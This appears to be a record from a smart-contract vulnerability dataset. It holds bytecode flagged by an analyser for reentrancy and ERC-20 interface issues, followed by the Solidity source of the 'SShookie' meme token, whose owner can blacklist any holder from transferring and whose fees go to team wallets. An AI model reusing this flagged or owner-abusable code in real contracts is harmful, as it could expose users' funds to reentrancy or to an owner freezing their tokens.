fffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15610b5a5781600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a4a57600080fd5b610ad982600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192890919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610bac82600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192890919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c4182600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197290919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b610d098160045461192890919063ffffffff16565b600481905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610dc057600080fd5b505af1158015610dd4573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff167fbb28353e4598c3b9199101a66e0989549b659a59a54d2c27fbb183f1932c8e6d826040518082815260200191505060405180910390a250565b610e3e8160045461197290919063ffffffff16565b600481905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610ef957600080fd5b505af1158015610f0d573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff167fd90d253a9de34d2fdd5a75ae49ea17fcb43af32fc8ea08cc6d2341991dd3872e826040518082815260200191505060405180910390a250565b600660149054906101000a900460ff1615610f7c57600080fd5b610fce81600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192890919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110268160035461192890919063ffffffff16565b6003819055506001600660146101000a81548160ff021916908315150217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156110da57600080fd5b505af11580156110ee573d6000803e3d6000fd5b50505050600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff167f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65826040518082815260200191505060405180910390a26000600660146101000a81548160ff02191690831515021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b600260009054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112a9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611b11602a913960400191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167e676cf056e3658b3ac0bd2439a0d0b33ecfd689dd2542ece387e64466e19a0460405160405180910390a350565b60086020528060005260406000206000915090505481565b60035481565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113fa5780601f106113cf576101008083540402835291602001916113fa565b820191906000526020600020905b8154815290600101906020018083116113dd57829003601f168201915b505050505081565b600061140f338484610896565b905092915050565b600660149054906101000a900460ff1681565b600660159054906101000a900460ff1661144357600080fd5b61149581600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197290919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114ed8160035461197290919063ffffffff16565b6003819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561160a57600080fd5b505af115801561161e573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c826040518082815260200191505060405180910390a250565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6009602052816000526040600020602052806000526040600020600091509150505481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611764576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180611ae5602c913960400191505060405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f0c463b156c72bbb2ba81b7ea19922f20613e9bf87f43b170fe57cd97e6c192da60405160405180910390a350565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611abb602a913960400191505060405180910390fd5b80600660156101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167fc03f33f8e333cebba750ee0837820bec6d22768bde06b06665dbb5709548cda28260405180821515815260200191505060405180910390a250565b600660159054906101000a900460ff1681565b600061196a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119fa565b905092915050565b6000808284019050838110156119f0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000838311158290611aa7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a6c578082015181840152602081019050611a51565b50505050905090810190601f168015611a995780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f6e6c79206d616e61676572416464722063616e206368616e6765204465706f7369742053746174652e4f6e6c79206d616e61676572416464722063616e206368616e6765206d616e6167657220416464726573732e4f6e6c7920696e76657374416464722063616e206368616e676520496e7665737420416464726573732ea26469706673582212209c2c08e33fe5801532e966deb723e87c940407d3ae8bd7d12b212463683f1b9064736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 6,212 |
0x8a2f21c5fc1d8177ffb9ccb57256aa6c986e40b7
|
//Telegram: https://t.me/sshookies
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SShookie is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "SuperShibaCookies";
string private constant _symbol = 'SSHOOKIES🍪';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161e565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117cd565b6040518082815260200191505060405180910390f35b60606040518060400160405280601181526020017f53757065725368696261436f6f6b696573000000000000000000000000000000815250905090565b600061076b610764611854565b848461185c565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a53565b6108548461079f611854565b61084f85604051806060016040528060288152602001613d4060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611854565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b29092919063ffffffff16565b61185c565b600190509392505050565b610867611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611854565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612372565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246d565b90505b919050565b610bd5611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f5353484f4f4b494553f09f8daa00000000000000000000000000000000000000815250905090565b6000610dcd610dc6611854565b8484611a53565b6001905092915050565b610ddf611854565b73fffffff